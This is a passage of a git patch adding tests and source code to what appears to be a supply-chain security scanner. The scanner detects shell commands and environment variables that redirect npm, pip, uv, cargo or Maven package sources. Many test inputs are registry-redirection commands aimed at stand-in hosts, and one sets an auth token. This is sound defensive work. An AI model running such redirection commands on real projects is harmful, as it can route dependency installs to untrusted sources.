b"npm", + b"config", + b"set", + b"registry", + b"https://x.invalid", + ], + [ + b"timeout", + b"--kill-after=", + b"5s", + b"npm", + b"config", + b"set", + b"registry", + b"https://x.invalid", + ], + [b"stdbuf", b"--output=", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"npx", b"--package=", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + ], +) +def test_attached_empty_wrapper_operands_stop_before_the_manager_sink( + argv: list[bytes], +) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.candidates == () + assert [issue.reason for issue in result.issues] == [ShellIssueReason.UNSUPPORTED_SEMANTICS] + + +@pytest.mark.parametrize( + "wrapper", + [ + b"env", + b"sudo", + b"command", + b"exec", + b"nohup", + b"nice", + b"timeout", + b"setsid", + b"stdbuf", + b"corepack", + b"npx", + ], +) +def test_each_transparent_wrapper_rejects_unknown_option_arity(wrapper: bytes) -> None: + result = adapt_command( + _site( + [ + wrapper, + b"--mystery", + b"npm", + b"config", + b"set", + b"registry", + b"https://x.invalid", + ] + ), + budget=DependencyWorkBudget(), + ) + + assert result.candidates == () + assert len(result.issues) == 1 + + +@pytest.mark.parametrize( + "argv", + [ + [b"npm", b"config", b"get", b"registry"], + [b"npm", b"config", b"delete", b"registry"], + [b"yarn", b"why", b"https://x.invalid"], + [b"yarn", b"config", b"unset", b"npmRegistryServer"], + [b"pip", b"config", b"list"], + [b"pip", b"config", b"unset", b"global.index-url"], + [b"poetry", b"publish", b"--repository", b"https://x.invalid"], + [b"mvn", b"-DaltDeploymentRepository=x::default::https://x.invalid", b"deploy"], + [b"echo", b"https://x.invalid"], + ], +) +def test_inert_actions_and_unrecognized_url_tokens_are_clean(argv: list[bytes]) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.candidates == result.issues == result.maven_settings == () + + +@pytest.mark.parametrize( + "argv", + [ + [b"npm", b"run", b"build", b"--", b"--registry=https://x.invalid"], + [b"npm", b"config", b"set", b"//x.invalid/:_authToken", b"secret"], + [b"yarn", b"publish", b"--registry", b"https://x.invalid"], + [b"mvn", b"-Dmaven.repo.remote=https://x.invalid", b"install"], + ], +) +def test_manager_url_decoys_outside_recognized_resolution_sinks_are_inert( + argv: list[bytes], +) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.candidates == result.issues == result.maven_settings == () + + +def test_export_and_reaching_prefix_facts_are_named_environment_sinks() -> None: + exported = adapt_command( + _site( + [b"export", b"NPM_CONFIG_REGISTRY=value"], + exported=(_assignment("NPM_CONFIG_REGISTRY", b"https://export.invalid"),), + ), + budget=DependencyWorkBudget(), + ) + prefixed = adapt_command( + _site( + [b"cargo", b"build"], + prefix=(_assignment("CARGO_REGISTRIES_PRIVATE_INDEX", b"https://cargo.invalid"),), + ), + budget=DependencyWorkBudget(), + ) + + assert [candidate.ecosystem for candidate in exported.candidates] == [DependencyEcosystem.NPM] + assert [candidate.ecosystem for candidate in prefixed.candidates] == [DependencyEcosystem.CARGO] + assert all( + candidate.surface is DependencySourceSurface.ENVIRONMENT + for candidate in (*exported.candidates, *prefixed.candidates) + ) + + +def test_env_clear_and_sudo_reset_environment_conservatively() -> None: + prefix = (_assignment("NPM_CONFIG_REGISTRY", b"https://prefix.invalid"),) + env = adapt_command( + _site([b"env", b"-i", b"npm", b"install"], prefix=prefix), + budget=DependencyWorkBudget(), + ) + sudo = adapt_command( + _site([b"sudo", b"npm", b"install"], prefix=prefix), + budget=DependencyWorkBudget(), + ) + preserved = adapt_command( + _site([b"sudo", b"-E", b"npm", b"install"], prefix=prefix), + budget=DependencyWorkBudget(), + ) + + assert env.candidates == sudo.candidates == () + assert len(preserved.candidates) == 1 + + +def test_env_terminator_still_consumes_command_environment_assignments() -> None: + result = adapt_command( + _site( + [ + b"env", + b"--", + b"NPM_CONFIG_REGISTRY=https://inline.invalid", + b"npm", + b"install", + ] + ), + budget=DependencyWorkBudget(), + ) + + assert [candidate.destination.exact_bytes for candidate in result.candidates] == [ + b"https://inline.invalid" + ] + + +def test_sudo_explicit_assignment_overrides_a_preserved_prefix_value() -> None: + result = adapt_command( + _site( + [ + b"sudo", + b"-E", + b"NPM_CONFIG_REGISTRY=https://inline.invalid", + b"npm", + b"install", + ], + prefix=(_assignment("NPM_CONFIG_REGISTRY", b"https://stale.invalid"),), + ), + budget=DependencyWorkBudget(), + ) + + assert [candidate.destination.exact_bytes for candidate in result.candidates] == [ + b"https://inline.invalid" + ] + + +@pytest.mark.parametrize( + "argv", + [ + [b"npm", b"install", b"--", b"--registry=https://forwarded.invalid"], + [b"pip", b"install", b"--", b"--index-url", b"https://forwarded.invalid"], + [b"uv", b"pip", b"install", b"--", b"--index-url", b"https://forwarded.invalid"], + [b"cargo", b"build", b"--", b"--config", b"registries.x.index=https://forwarded.invalid"], + [b"mvn", b"install", b"--", b"--settings", b"forwarded-settings.xml"], + ], +) +def test_manager_terminator_prevents_forwarded_flags_becoming_source_sinks( + argv: list[bytes], +) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.candidates == result.issues == result.maven_settings == () + + +@pytest.mark.parametrize( + "argv", + [ + [b"npm", b"install", b"--mystery", b"operand", b"--registry", b"https://x.invalid"], + [b"pip", b"install", b"--mystery", b"operand", b"--index-url", b"https://x.invalid"], + [b"uv", b"pip", b"install", b"--mystery", b"operand", b"--index-url", b"https://x.invalid"], + [ + b"cargo", + b"--mystery", + b"operand", + b"--config", + b"registries.x.index=https://x.invalid", + b"build", + ], + [b"mvn", b"--mystery", b"operand", b"--settings", b"ci-settings.xml", b"install"], + ], +) +def test_unknown_manager_option_arity_beside_a_source_flag_is_one_limitation( + argv: list[bytes], +) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.candidates == result.maven_settings == () + assert len(result.issues) == 1 + + +def test_manager_source_flag_before_terminator_is_still_recognized_once() -> None: + result = adapt_command( + _site( + [ + b"npm", + b"install", + b"--registry=https://kept.invalid", + b"--", + b"--registry=https://forwarded.invalid", + ] + ), + budget=DependencyWorkBudget(), + ) + + assert [candidate.destination.exact_bytes for candidate in result.candidates] == [ + b"https://kept.invalid" + ] + assert result.issues == () + + +def test_dynamic_sink_is_unresolved_but_unknown_relevant_option_never_guesses() -> None: + dynamic = adapt_command( + _site([b"pip", b"install", b"--index-url", None, b"thing"]), + budget=DependencyWorkBudget(), + ) + ambiguous = adapt_command( + _site([b"npm", b"config", b"set", b"--mystery", b"registry", b"https://x.invalid"]), + budget=DependencyWorkBudget(), + ) + + assert dynamic.candidates[0].destination == StaticValue.unknown() + assert ambiguous.candidates == () + assert len(ambiguous.issues) == 1 + + +@pytest.mark.parametrize( + "argv", + [ + [b"npm", b"config", b"set", b"registry", None], + [b"yarn", b"config", b"set", b"npmRegistryServer", None], + [b"pnpm", b"config", b"set", b"registry", None], + [b"pip", b"config", b"set", b"global.index-url", None], + ], +) +def test_static_config_key_with_dynamic_destination_is_one_unknown_candidate( + argv: list[bytes | None], +) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert len(result.candidates) == 1 + assert result.candidates[0].destination == StaticValue.unknown() + assert result.issues == () + + +def test_poetry_source_add_terminator_preserves_positional_name_and_destination() -> None: + result = adapt_command( + _site([b"poetry", b"source", b"add", b"--", b"private", b"https://x.invalid"]), + budget=DependencyWorkBudget(), + ) + + assert len(result.candidates) == 1 + assert result.candidates[0].operation is DependencySourceOperation.ADD + assert result.candidates[0].destination.exact_bytes == b"https://x.invalid" + assert result.issues == () + + +@pytest.mark.parametrize("assignment_field", ["prefix", "exported"]) +@pytest.mark.parametrize("name", ["UV_INDEX", "UV_EXTRA_INDEX_URL"]) +@pytest.mark.parametrize( + ("value", "expected_destination", "expect_issue"), + [ + (b"https://uv.invalid/simple", b"https://uv.invalid/simple", False), + (b"private=https://uv.invalid/simple", b"https://uv.invalid/simple", False), + (None, None, False), + (b"https://one.invalid https://two.invalid", None, True), + (b"", None, True), + (b"=https://uv.invalid/simple", None, True), + (b"private=", None, True), + ], +) +def test_uv_documented_index_environment_surfaces_are_bounded_typed_candidates( + assignment_field: str, + name: str, + value: bytes | None, + expected_destination: bytes | None, + expect_issue: bool, +) -> None: + assignment = _assignment(name, value) + site = ( + _site([b"uv", b"pip", b"install"], prefix=(assignment,)) + if assignment_field == "prefix" + else _site([b"export"], exported=(assignment,)) + ) + + result = adapt_command(site, budget=DependencyWorkBudget()) + + if expect_issue: + assert result.candidates == () + assert [issue.reason for issue in result.issues] == [ShellIssueReason.UNSUPPORTED_SEMANTICS] + return + assert len(result.candidates) == 1 + assert result.candidates[0].ecosystem is DependencyEcosystem.UV + assert result.candidates[0].surface is DependencySourceSurface.ENVIRONMENT + if expected_destination is None: + assert result.candidates[0].destination == StaticValue.unknown() + else: + assert result.candidates[0].destination.exact_bytes == expected_destination + assert result.issues == () + + +def test_uv_named_index_operand_extracts_only_the_destination() -> None: + result = adapt_command( + _site( + [ + b"uv", + b"lock", + b"--index", + b"private=https://uv.invalid/simple", + ] + ), + budget=DependencyWorkBudget(), + ) + + assert len(result.candidates) == 1 + assert result.candidates[0].destination.exact_bytes == b"https://uv.invalid/simple" + + +def test_uv_url_only_and_unresolved_index_operands_preserve_typed_values() -> None: + exact = adapt_command( + _site([b"uv", b"lock", b"--index", b"https://uv.invalid/simple"]), + budget=DependencyWorkBudget(), + ) + unresolved = adapt_command( + _site([b"uv", b"lock", b"--index", None]), + budget=DependencyWorkBudget(), + ) + + assert exact.candidates[0].destination.exact_bytes == b"https://uv.invalid/simple" + assert unresolved.candidates[0].destination == StaticValue.unknown() + assert exact.issues == unresolved.issues == () + + +def test_uv_similar_non_source_environment_and_option_names_are_inert() -> None: + environment = adapt_command( + _site( + [b"export"], + exported=(_assignment("UV_INDEX_STRATEGY", b"unsafe-best-match"),), + ), + budget=DependencyWorkBudget(), + ) + option = adapt_command( + _site([b"uv", b"lock", b"--index-strategy", b"unsafe-best-match"]), + budget=DependencyWorkBudget(), + ) + + assert environment.candidates == environment.issues == () + assert option.candidates == option.issues == () + + +@pytest.mark.parametrize( + "argv", + [ + [b"npm", b"--userconfig=", b"config", b"set", b"registry", b"https://x.invalid"], + [b"npm", b"install", b"--registry="], + [b"pip", b"--python=", b"install", b"--index-url", b"https://x.invalid"], + [b"pip", b"install", b"--index-url="], + [b"poetry", b"--directory=", b"source", b"add", b"private", b"https://x.invalid"], + [b"cargo", b"--config=", b"build"], + [b"uv", b"pip", b"install", b"--index-url="], + [b"mvn", b"--settings=", b"install"], + ], +) +def test_empty_attached_option_operands_are_missing_operand_limitations( + argv: list[bytes], +) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.candidates == result.maven_settings == () + assert len(result.issues) == 1 + + +@pytest.mark.parametrize( + "argv", + [ + [b"npm", b"help", b"install", b"--registry=https://x.invalid"], + [b"yarn", b"help", b"install", b"--registry=https://x.invalid"], + [b"pnpm", b"help", b"install", b"--registry=https://x.invalid"], + [b"pip", b"help", b"install", b"--index-url", b"https://x.invalid"], + [b"uv", b"help", b"pip", b"install", b"--index-url", b"https://x.invalid"], + [b"poetry", b"config", b"repositories.private.username", b"https://x.invalid"], + ], +) +def test_help_and_credential_value_decoys_are_inert(argv: list[bytes]) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.candidates == result.issues == result.maven_settings == () + + +@pytest.mark.parametrize( + "argv", + [ + [b"npm", b"config", b"mystery", b"registry", b"https://x.invalid"], + [b"yarn", b"config", b"mystery", b"registry", b"https://x.invalid"], + [b"pip", b"config", b"mystery", b"global.index-url", b"https://x.invalid"], + ], +) +def test_unknown_manager_actions_are_limitations_not_guessed_sinks(argv: list[bytes]) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.candidates == () + assert len(result.issues) == 1 + + +def test_resolution_and_producer_facts_prevent_shadowed_or_inert_findings() -> None: + for site in ( + _site( + [b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + resolution=CommandResolutionKind.FUNCTION, + ), + _site( + [b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + producer=CommandProducerReachability.INERT, + ), + ): + result = adapt_command(site, budget=DependencyWorkBudget()) + assert result.candidates == result.issues == () + + for site in ( + _site( + [b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + resolution=CommandResolutionKind.AMBIGUOUS, + ), + _site( + [b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + producer=CommandProducerReachability.AMBIGUOUS, + ), + ): + result = adapt_command(site, budget=DependencyWorkBudget()) + assert result.candidates == () + assert len(result.issues) == 1 + + +def test_adapter_drops_resource_issue_when_reserved_issue_was_already_claimed() -> None: + budget = DependencyWorkBudget() + assert budget.charge_shell_issues(MAX_DEPENDENCY_SHELL_LOCALIZED_ISSUES - 1) is None + site = _site([b"sudo", b"--mystery", b"npm", b"install"]) + + first = adapt_command(site, budget=budget) + second = adapt_command(site, budget=budget) + + assert [issue.reason for issue in first.issues] == [ShellIssueReason.RESOURCE_LIMIT] + assert second.issues == () + assert ( + budget.used(DependencyWorkResource.SHELL_LOCALIZED_ISSUES) + == MAX_DEPENDENCY_SHELL_LOCALIZED_ISSUES + ) + + +def test_maven_adapter_returns_only_literal_settings_references() -> None: + exact = adapt_command( + _site([b"mvn", b"-s", b"ci-settings.xml", b"install"]), + budget=DependencyWorkBudget(), + ) + dynamic = adapt_command( + _site([b"mvn", b"--settings", None, b"install"]), + budget=DependencyWorkBudget(), + ) + + assert [reference.path.exact_bytes for reference in exact.maven_settings] == [ + b"ci-settings.xml" + ] + assert exact.candidates == exact.issues == () + assert dynamic.maven_settings == () + assert len(dynamic.issues) == 1 + + +@pytest.mark.parametrize( + "argv", + [ + [b"mvn", b"install", b"-s", b"ci-settings.xml"], + [b"mvn", b"--unknown", b"-s", b"ci-settings.xml", b"install"], + [b"mvn", b"-sci-settings.xml", b"install"], + [b"mvn", b"--settings=ci-settings.xml", b"install"], + [b"mvn", b"-s", b"one.xml", b"-s", b"two.xml", b"install"], + ], +) +def test_maven_settings_reference_requires_one_leading_separate_operand( + argv: list[bytes], +) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.maven_settings == result.candidates == () + assert len(result.issues) == 1 + + +def test_adapter_result_repr_never_retains_exact_destination_bytes() -> None: + secret = b"https://user:secret@packages.invalid/path?token=abc" + result = adapt_command( + _site([b"npm", b"config", b"set", b"registry", secret]), + budget=DependencyWorkBudget(), + ) + + assert secret.decode() not in repr(result) + assert not hasattr(result, "command") + + +def test_destination_candidate_keeps_the_typed_argument_span() -> None: + site = _site([b"yarn", b"config", b"set", b"registry", b"https://x.invalid"]) + destination_span = SourceSpan("scripts/setup.sh", 40, 58, 4, 4) + site = dataclasses.replace( + site, + argument_spans=(*site.argument_spans[:-1], destination_span), + ) + + result = adapt_command(site, budget=DependencyWorkBudget()) + + assert result.candidates[0].span == destination_span diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index bac1af8c..b4215f5c 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -219,6 +219,51 @@ def test_shell_contracts_are_frozen_code_owned_and_privacy_safe() -> None: ) +def test_command_site_exposes_only_typed_execution_facts_with_aligned_spans() -> None: + api = _api() + unit = _shell_unit(api, raw=b"npm config") + prefix = api.AssignmentSite( + unit_id=unit.unit_id, + provenance=unit.provenance, + span=unit.origin_span, + name="NPM_CONFIG_REGISTRY", + value=api.StaticValue.exact(b"https://packages.example.invalid"), + ) + + command = api.CommandSite( + unit_id=unit.unit_id, + provenance=unit.provenance, + span=unit.origin_span, + argv=(api.StaticValue.exact(b"npm"), api.StaticValue.exact(b"config")), + argument_spans=(unit.origin_span, unit.origin_span), + resolution=api.CommandResolutionKind.EXTERNAL, + producer=api.CommandProducerReachability.ACTIVE, + prefix_assignments=(prefix,), + exported_assignments=(), + ) + + assert len(command.argument_spans) == len(command.argv) + assert command.prefix_assignments == (prefix,) + assert {item.value for item in api.CommandResolutionKind} == { + "external", + "function", + "ambiguous", + } + assert {item.value for item in api.CommandProducerReachability} == { + "active", + "inert", + "ambiguous", + } + with pytest.raises(ValueError, match="argument_spans"): + api.CommandSite( + unit_id=unit.unit_id, + provenance=unit.provenance, + span=unit.origin_span, + argv=(api.StaticValue.exact(b"npm"), api.StaticValue.exact(b"config")), + argument_spans=(unit.origin_span,), + ) + + def test_shell_unit_ids_are_deterministic_opaque_coordinates_not_content_hashes() -> None: api = _api() first = _shell_unit(api, raw=b"a") diff --git a/tests/unit/test_shell_frontend.py b/tests/unit/test_shell_frontend.py index 94af2ab0..a329e4f2 100644 --- a/tests/unit/test_shell_frontend.py +++ b/tests/unit/test_shell_frontend.py @@ -903,6 +903,58 @@ def test_generated_target_uses_only_the_modeled_binding_at_its_write_site() -> N assert [config.target.exact_bytes for config in result.generated_configs] == [b".npmrc"] +def test_public_command_sites_lower_typed_adapter_reachability_facts() -> None: + result, _budget, _unit = _analyze( + b"export NPM_CONFIG_REGISTRY=https://packages.example.invalid\n" + b"PIP_INDEX_URL=https://bare.example.invalid/simple\n" + b"export PIP_INDEX_URL\n" + b"PIP_INDEX_URL=https://pip.example.invalid/simple pip install thing\n" + b"dead() { npm config set registry https://dead.example.invalid; }\n" + b"live() { yarn config set registry https://live.example.invalid; }\n" + b"live\n" + b"npm() { :; }\n" + b"npm config set registry https://shadowed.example.invalid\n" + b"/usr/bin/npm config set registry https://external.example.invalid\n" + ) + + assert result.commands + assert all(len(command.argument_spans) == len(command.argv) for command in result.commands) + export = next(command for command in result.commands if command.exported_assignments) + assert [(site.name, site.value.exact_bytes) for site in export.exported_assignments] == [ + ("NPM_CONFIG_REGISTRY", b"https://packages.example.invalid") + ] + bare_export = next( + site + for command in result.commands + for site in command.exported_assignments + if site.name == "PIP_INDEX_URL" + ) + assert bare_export.value.exact_bytes == b"https://bare.example.invalid/simple" + assert bare_export.span.start_line == 3 + pip = next(command for command in result.commands if command.argv[0].exact_bytes == b"pip") + assert [site.name for site in pip.prefix_assignments] == ["PIP_INDEX_URL"] + dead = next( + command + for command in result.commands + if command.argv[0].exact_bytes == b"npm" + and command.argv[-1].exact_bytes == b"https://dead.example.invalid" + ) + live = next(command for command in result.commands if command.argv[0].exact_bytes == b"yarn") + shadowed = next( + command + for command in result.commands + if command.argv[0].exact_bytes == b"npm" + and command.argv[-1].exact_bytes == b"https://shadowed.example.invalid" + ) + assert dead.producer is dependency_types.CommandProducerReachability.INERT + assert live.producer is dependency_types.CommandProducerReachability.ACTIVE + assert shadowed.resolution is dependency_types.CommandResolutionKind.FUNCTION + external = next( + command for command in result.commands if command.argv[0].exact_bytes == b"/usr/bin/npm" + ) + assert external.resolution is dependency_types.CommandResolutionKind.EXTERNAL + + @pytest.mark.parametrize("value", [b"foo bar", b"*"]) def test_unquoted_output_target_expansion_never_proves_one_filename(value: bytes) -> None: prefix = b"DIR='" + value + b"'\n" @@ -1048,6 +1100,163 @@ def _issue(self, *_args: Any, **_kwargs: Any) -> None: assert issue_sink.count == imported_count +def test_dynamic_command_producer_reachability_is_linear_at_normative_scale( + monkeypatch: pytest.MonkeyPatch, +) -> None: + count = 10_000 + unit_id = "0" * 32 + span = dependency_types.SourceSpan("scripts/bounded-producers.sh", 0, 1, 1, 1) + functions = tuple( + shell_frontend._FunctionContext( + index, + dependency_types.StaticValue.exact(b"f" + str(index).encode("ascii")), + span, + (), + None, + None, + index, + index + 1, + ) + for index in range(count) + ) + + def command( + index: int, + *, + dynamic: bool, + function_id: int | None, + ) -> shell_frontend._CommandIR: + value = ( + dependency_types.StaticValue.unknown() + if dynamic + else dependency_types.StaticValue.exact(b"external") + ) + return shell_frontend._CommandIR( + dependency_types.CommandSite( + unit_id, + dependency_types.SiteProvenance.FILE_SUFFIX, + span, + (value,), + ), + index, + None, + function_id, + (), + (), + (), + program_id=unit_id, + resolution=shell_frontend._CommandResolution( + shell_frontend._CommandResolutionKind.AMBIGUOUS + if dynamic + else shell_frontend._CommandResolutionKind.EXTERNAL + ), + ) + + root_calls = tuple(command(index, dynamic=True, function_id=None) for index in range(count)) + function_bodies = tuple( + command(count + index, dynamic=False, function_id=index) for index in range(count) + ) + commands = root_calls + function_bodies + program = shell_frontend._ShellProgramIR( + program_id=unit_id, + functions=functions, + commands=commands, + ) + + class BoundedSet(set[Any]): + updated_items = 0 + + def update(self, *others: Any) -> None: + type(self).updated_items += sum(len(other) for other in others) + if type(self).updated_items > count * 4: + raise AssertionError("producer reachability materialized a quadratic edge set") + super().update(*others) + + monkeypatch.setattr(shell_frontend, "set", BoundedSet, raising=False) + + annotated = shell_frontend._annotate_command_producer_reachability(program, (), commands) + + assert all( + command.site.producer is dependency_types.CommandProducerReachability.ACTIVE + for command in annotated[:count] + ) + assert all( + command.site.producer is dependency_types.CommandProducerReachability.AMBIGUOUS + for command in annotated[count:] + ) + assert BoundedSet.updated_items <= count * 4 + + +def test_exact_name_ambiguity_never_materializes_caller_target_cartesian_edges( + monkeypatch: pytest.MonkeyPatch, +) -> None: + count = 1_500 + unit_id = "0" * 32 + span = dependency_types.SourceSpan("scripts/same-name-producers.sh", 0, 1, 1, 1) + functions = tuple( + shell_frontend._FunctionContext( + index, + dependency_types.StaticValue.exact(b"f"), + span, + (), + None, + None, + index, + index + 1, + ) + for index in range(count) + ) + + def ambiguous_call(index: int, function_id: int | None) -> shell_frontend._CommandIR: + return shell_frontend._CommandIR( + dependency_types.CommandSite( + unit_id, + dependency_types.SiteProvenance.FILE_SUFFIX, + span, + (dependency_types.StaticValue.exact(b"f"),), + ), + index, + None, + function_id, + (), + (), + (), + program_id=unit_id, + resolution=shell_frontend._CommandResolution( + shell_frontend._CommandResolutionKind.AMBIGUOUS + ), + ) + + commands = (ambiguous_call(0, None),) + tuple( + ambiguous_call(index + 1, index) for index in range(count) + ) + program = shell_frontend._ShellProgramIR( + program_id=unit_id, + functions=functions, + commands=commands, + ) + + class BoundedSet(set[Any]): + updated_items = 0 + + def update(self, *others: Any) -> None: + type(self).updated_items += sum(len(other) for other in others) + if type(self).updated_items > count * 4: + raise AssertionError("producer reachability materialized a Cartesian edge set") + super().update(*others) + + monkeypatch.setattr(shell_frontend, "set", BoundedSet, raising=False) + + annotated = shell_frontend._annotate_command_producer_reachability(program, (), commands) + + assert annotated[0].site.producer is dependency_types.CommandProducerReachability.ACTIVE + assert all( + command.site.producer is dependency_types.CommandProducerReachability.AMBIGUOUS + for command in annotated[1:] + ) + assert BoundedSet.updated_items <= count * 4 + + def test_second_on_line_recovery_emits_only_redirect_evidence() -> None: private, _budget, _unit = _analyze_private( b"cat > /dev/null < .npmrc < Date: Wed, 26 Aug 2026 13:25:13 -0700 Subject: [PATCH 08/13] feat(sc10): report structured shell coverage Signed-off-by: Nir Paz --- .../dependency_command_adapters.py | 24 +- src/skillspector/dependency_source_types.py | 102 ++- src/skillspector/dependency_sources.py | 784 +++++++++++++++--- src/skillspector/inspection_ledger.py | 16 + .../analyzers/static_patterns_supply_chain.py | 444 +++++++--- src/skillspector/shell_frontend.py | 18 +- tests/nodes/analyzers/data/sc10_controls.json | 268 +++--- tests/nodes/analyzers/data/sc10_findings.json | 130 +-- .../analyzers/test_dependency_sources.py | 262 ++++-- tests/nodes/test_sc10_coverage_contract.py | 202 ++++- tests/nodes/test_security_end_to_end.py | 3 - .../unit/test_dependency_command_adapters.py | 60 ++ tests/unit/test_dependency_source_types.py | 158 +++- tests/unit/test_mcp_server.py | 10 +- tests/unit/test_shell_frontend_dependency.py | 30 + 15 files changed, 2004 insertions(+), 507 deletions(-) diff --git a/src/skillspector/dependency_command_adapters.py b/src/skillspector/dependency_command_adapters.py index 44670131..729609e6 100644 --- a/src/skillspector/dependency_command_adapters.py +++ b/src/skillspector/dependency_command_adapters.py @@ -796,17 +796,17 @@ def _npm_family( cursor = 1 config_seen = False action: bytes | None = None - operands: list[_Token] = [] + operands: list[tuple[_Token, DependencySourceScope]] = [] while cursor < len(tokens): raw = _exact(tokens[cursor]) if raw is None: if action is not None: - operands.append(tokens[cursor]) + operands.append((tokens[cursor], scope)) cursor += 1 continue return [], tokens[cursor].span if raw == b"--": - operands.extend(tokens[cursor + 1 :]) + operands.extend((token, scope) for token in tokens[cursor + 1 :]) break if raw in {b"-g", b"--global"}: scope = DependencySourceScope.GLOBAL @@ -832,6 +832,11 @@ def _npm_family( ) cursor += 2 continue + if action is not None and raw == b"--userconfig": + if cursor + 1 >= len(tokens) or _exact(tokens[cursor + 1]) is None: + return [], tokens[cursor].span + cursor += 2 + continue if raw.startswith(b"-"): if config_seen or action is not None: return [], tokens[cursor].span @@ -866,35 +871,36 @@ def _npm_family( if raw in {b"get", b"list", b"ls", b"edit", b"fix", b"help"}: return [], None return [], tokens[cursor].span - operands.append(tokens[cursor]) + operands.append((tokens[cursor], scope)) cursor += 1 candidates: list[DependencyCommandCandidate] = [] if config_seen and action is not None: remove = action in {b"delete", b"del", b"rm", b"unset"} if remove: - if any(_exact(token) is None for token in operands): - return [], operands[0].span + if any(_exact(token) is None for token, _scope in operands): + return [], operands[0][0].span return [], None operand_index = 0 while operand_index < len(operands): - key_token = operands[operand_index] + key_token, key_pair_scope = operands[operand_index] key = _exact(key_token) if key is None: return [], key_token.span if b"=" in key: key, destination = key.split(b"=", 1) value = _Token(StaticValue.exact(destination), key_token.span) + pair_scope = key_pair_scope operand_index += 1 else: if operand_index + 1 >= len(operands): return [], key_token.span - value = operands[operand_index + 1] + value, pair_scope = operands[operand_index + 1] operand_index += 2 key_scope = ( DependencySourceScope.SCOPED if key.startswith(b"@") and key.endswith(b":registry") - else scope + else pair_scope ) if key != b"registry" and key_scope is not DependencySourceScope.SCOPED: continue diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index a0826587..a64dbea2 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -49,6 +49,13 @@ class DestinationStatus(StrEnum): UNRESOLVED = "unresolved" +class DependencyCandidateRank(StrEnum): + """Strength used when equivalent transient semantic sinks overlap.""" + + EXACT = "exact" + RECOVERED = "recovered" + + class DependencyEcosystem(StrEnum): """Code-owned dependency ecosystems implemented by source parsers.""" @@ -819,6 +826,50 @@ def __post_init__(self) -> None: raise ValueError("a resolved destination must already be safely redacted") +@dataclass(frozen=True, slots=True) +class DependencySourceCandidate: + """One sanitized unreserved semantic candidate awaiting orchestration.""" + + ecosystem: DependencyEcosystem + surface: DependencySourceSurface + operation: DependencySourceOperation + scope: DependencySourceScope + destination: str + destination_status: DestinationStatus + span: SourceSpan + producer_unit_id: str | None = None + rank: DependencyCandidateRank = DependencyCandidateRank.EXACT + canonical_default: bool = False + + def __post_init__(self) -> None: + validated = SourceChange( + ecosystem=self.ecosystem, + surface=self.surface, + operation=self.operation, + scope=self.scope, + destination=self.destination, + destination_status=self.destination_status, + span=self.span, + ) + for name in ( + "ecosystem", + "surface", + "operation", + "scope", + "destination_status", + ): + object.__setattr__(self, name, getattr(validated, name)) + if self.producer_unit_id is not None: + _require_shell_unit_id(self.producer_unit_id) + try: + rank = DependencyCandidateRank(self.rank) + except (TypeError, ValueError): + raise ValueError("rank must be code-owned") from None + object.__setattr__(self, "rank", rank) + if type(self.canonical_default) is not bool: + raise ValueError("canonical_default must be a boolean") + + _METRIC_FIELDS: Final = ( "observed_bytes", "limit_bytes", @@ -901,17 +952,17 @@ def __post_init__(self) -> None: class DependencySourceParseResult: """Sanitized parser or adapter output.""" - changes: tuple[SourceChange, ...] = () + candidates: tuple[DependencySourceCandidate, ...] = () limitations: tuple[DependencySourceLimitation, ...] = () def __post_init__(self) -> None: - changes = tuple(self.changes) + candidates = tuple(self.candidates) limitations = tuple(self.limitations) - if not all(isinstance(change, SourceChange) for change in changes): - raise ValueError("changes must contain SourceChange values") + if not all(isinstance(candidate, DependencySourceCandidate) for candidate in candidates): + raise ValueError("candidates must contain DependencySourceCandidate values") if not all(isinstance(item, DependencySourceLimitation) for item in limitations): raise ValueError("limitations must contain DependencySourceLimitation values") - object.__setattr__(self, "changes", changes) + object.__setattr__(self, "candidates", candidates) object.__setattr__(self, "limitations", limitations) @@ -920,6 +971,7 @@ class DependencySourceAnalysis: """Public deterministic findings plus any localized analysis limitations.""" findings: tuple[Finding, ...] = () + finding_producer_unit_ids: tuple[str | None, ...] = () limitations: tuple[DependencySourceLimitation, ...] = () applicable_spans: tuple[DependencySourceSpan, ...] = () inspected_spans: tuple[DependencySourceSpan, ...] = () @@ -929,6 +981,9 @@ class DependencySourceAnalysis: def __post_init__(self) -> None: findings = tuple(self.findings) + producer_unit_ids = tuple(self.finding_producer_unit_ids) or tuple( + None for _finding in findings + ) limitations = tuple(self.limitations) applicable_spans = tuple(self.applicable_spans) inspected_spans = tuple(self.inspected_spans) @@ -936,6 +991,11 @@ def __post_init__(self) -> None: shell_issues = tuple(self.shell_issues) if not all(isinstance(finding, Finding) for finding in findings): raise ValueError("findings must contain Finding values") + if len(producer_unit_ids) != len(findings): + raise ValueError("finding producer identities must align one-to-one with findings") + for producer_unit_id in producer_unit_ids: + if producer_unit_id is not None: + _require_shell_unit_id(producer_unit_id) if not all(isinstance(item, DependencySourceLimitation) for item in limitations): raise ValueError("limitations must contain DependencySourceLimitation values") if not all(isinstance(item, DependencySourceSpan) for item in applicable_spans): @@ -951,6 +1011,7 @@ def __post_init__(self) -> None: ): raise ValueError("ledger_exhaustion must be DependencyWorkExhaustion") object.__setattr__(self, "findings", findings) + object.__setattr__(self, "finding_producer_unit_ids", producer_unit_ids) object.__setattr__(self, "limitations", limitations) object.__setattr__(self, "applicable_spans", applicable_spans) 